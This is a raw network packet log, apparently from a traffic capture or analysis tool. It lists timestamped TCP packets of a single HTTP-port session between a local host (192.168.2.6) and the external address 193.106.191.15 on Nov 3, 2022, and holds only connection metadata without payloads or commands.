Nov 3, 2022 12:46:55.365988016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.365993023 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366029024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366070032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366079092 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366111040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366151094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366152048 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366192102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366235018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366246939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366276026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366316080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366321087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366357088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366405964 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366415977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366478920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366522074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366523027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366564035 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366605997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366612911 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366647959 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366688967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366704941 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366730928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366770983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366780043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366812944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366857052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366869926 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.366940975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366982937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.366995096 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367024899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367033005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367067099 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367077112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367110014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367152929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367162943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367192984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367234945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367239952 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367275953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367316008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367326975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367357969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367398977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367408037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367439985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367482901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367492914 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367523909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367573023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367573023 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367614985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367655993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367670059 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367698908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367741108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367742062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367782116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367825031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367831945 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367867947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367908001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367913008 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.367949963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.367990017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368002892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368031025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368069887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368081093 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368113041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368155003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368165016 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368196011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368237972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368248940 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368280888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368321896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368325949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368377924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368419886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368423939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368462086 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368503094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368510008 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368545055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368586063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368628979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368669987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368673086 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368673086 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368711948 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368752003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368771076 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368793964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368837118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368839025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368879080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368923903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.368936062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.368968964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369000912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369014025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369014025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369043112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369086981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369095087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369128942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369173050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369180918 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369215012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369257927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369263887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369302034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369344950 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369355917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369389057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369434118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369477987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369535923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369544029 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369584084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369625092 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369626999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369668961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369710922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369716883 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369752884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369796038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369803905 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369842052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369884968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369890928 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.369932890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369977951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.369985104 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.370022058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370064974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370095968 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.370110035 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370156050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370157003 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.370203018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370245934 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.370246887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370292902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370337963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370345116 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.370385885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370435953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370476961 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.370480061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370526075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370531082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.370572090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.370624065 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.375958920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.379551888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.379589081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.379745007 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.382314920 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.391714096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.391908884 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.393990993 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.399631977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.399698019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.399741888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.399784088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.399827003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.399830103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.399863005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.399872065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.399914026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.399916887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.399957895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.400001049 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.401154041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.401201963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.401276112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.417455912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417526007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417570114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417574883 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.417612076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417644978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.417654991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417696953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417730093 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.417737007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417778015 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417818069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417826891 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.417862892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417896032 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.417902946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417946100 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.417978048 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.419325113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.419372082 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.419414043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.419414997 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.419459105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.419492960 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.419498920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.419540882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.419576883 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.419579983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.419620037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.419655085 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.419660091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427436113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427509069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427575111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.427580118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427623034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427623034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.427664042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427699089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.427705050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427746058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427783966 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.427788973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427830935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427865982 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.427874088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427921057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.427958965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.427963972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428008080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428046942 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428051949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428097963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428136110 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428142071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428184032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428219080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428226948 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428267956 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428303957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428308964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428349972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428388119 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428391933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428435087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428474903 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428478003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428523064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428558111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428564072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428606033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428641081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428647041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428689957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428725004 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428733110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428776026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428814888 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428819895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428862095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428899050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428904057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428946972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.428989887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.428992033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429034948 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429081917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429083109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429126978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429169893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429173946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429215908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429256916 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429260015 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429301977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429338932 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429342031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429383993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429420948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429425955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429467916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429512978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429519892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429558039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429600000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429600954 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429642916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429685116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429685116 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429725885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429766893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429766893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429809093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429852962 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429857016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429900885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429943085 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.429944992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.429994106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430041075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430046082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430083990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430140972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430152893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430192947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430241108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430248976 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430283070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430334091 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430335045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430378914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430418015 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430421114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430463076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430502892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430505037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430546999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430596113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430607080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430639982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430685043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430685997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430727959 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430768013 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430771112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430813074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430852890 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.430856943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.430963993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431020021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431046009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.431066036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431107044 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.431107998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431149960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431202888 CET	80	49704	193.106.191.15	192.168.2.6
